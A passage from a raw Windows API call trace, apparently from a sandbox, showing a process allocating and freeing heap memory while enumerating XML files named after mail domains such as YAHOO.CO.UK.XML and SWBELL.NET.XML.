(HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9c40 [0079.246] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11df400 [0079.246] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.247] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SWBELL.NET.XML", cAlternateFileName="")) returned 1 [0079.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9c60 [0079.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11df508 [0079.247] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.247] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5aca0270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x327, dwReserved0=0x0, dwReserved1=0x0, cFileName="TALK21.COM.XML", cAlternateFileName="")) returned 1 [0079.247] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9c80 [0079.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11df610 [0079.248] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4c80) returned 0xacb2b8 [0079.248] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0079.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.249] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="WANS.NET.XML", cAlternateFileName="")) returned 1 [0079.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.249] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9ca0 [0079.249] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11df718 [0079.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.250] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x324, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CA.XML", cAlternateFileName="")) returned 1 [0079.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9cc0 [0079.250] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11df820 [0079.250] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.251] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c79650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.ID.XML", cAlternateFileName="")) returned 1 [0079.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9ce0 [0079.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11df928 [0079.251] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.251] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.IN.XML", cAlternateFileName="")) returned 1 [0079.251] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9d00 [0079.252] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dfa30 [0079.252] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.252] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a900, ftCreationTime.dwHighDateTime=0x1c6ea7d, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a900, ftLastWriteTime.dwHighDateTime=0x1c6ea7d, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.JP.XML", cAlternateFileName="")) returned 1 [0079.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.253] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.253] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9d20 [0079.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dfb38 [0079.253] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.253] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c79650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.KR.XML", cAlternateFileName="")) returned 1 [0079.253] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.254] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.254] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9d40 [0079.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dfc40 [0079.254] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.254] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.NZ.XML", cAlternateFileName="")) returned 1 [0079.254] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9d60 [0079.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dfd48 [0079.255] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.255] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.TH.XML", cAlternateFileName="")) returned 1 [0079.255] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9d80 [0079.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dfe50 [0079.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.256] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32a, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.CO.UK.XML", cAlternateFileName="")) returned 1 [0079.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.256] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.256] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.257] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9da0 [0079.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dff58 [0079.257] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.257] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.AR.XML", cAlternateFileName="")) returned 1 [0079.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.257] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.257] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.258] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9dc0 [0079.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e0060 [0079.258] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.258] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c534f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.AU.XML", cAlternateFileName="")) returned 1 [0079.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.258] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.258] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9de0 [0079.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e0168 [0079.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.259] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.BR.XML", cAlternateFileName="")) returned 1 [0079.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.259] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.259] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9e00 [0079.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e0270 [0079.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.260] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.CN.XML", cAlternateFileName="")) returned 1 [0079.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.260] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.260] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.261] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.261] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9e20 [0079.261] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e0378 [0079.261] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.261] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.HK.XML", cAlternateFileName="")) returned 1 [0079.261] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.261] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.261] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.261] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.261] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9e40 [0079.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e0480 [0079.262] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.262] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x326, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.MX.XML", cAlternateFileName="")) returned 1 [0079.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.262] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.262] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.262] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9e60 [0079.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e0588 [0079.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.263] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.MY.XML", cAlternateFileName="")) returned 1 [0079.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.263] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.263] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9e80 [0079.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e0690 [0079.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4cc0) returned 0x11ec790 [0079.264] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0079.264] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.264] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x5e86eb30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae54e300, ftLastWriteTime.dwHighDateTime=0x1c6e74b, nFileSizeHigh=0x0, nFileSizeLow=0x32c, dwReserved0=0x0, dwReserved1=0x0, cFileName="YAHOO.COM.PH.XML", cAlternateFileName="")) returned 1 [0079.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.264] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.264] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9ea0 [0079.265] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11e0798 [0079.265] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.265] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae54e300, ftCreationTime.dwHighDateTime=0x1c6e74b, ftLastAccessTime.dwLowDateTime=0x70c9f7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 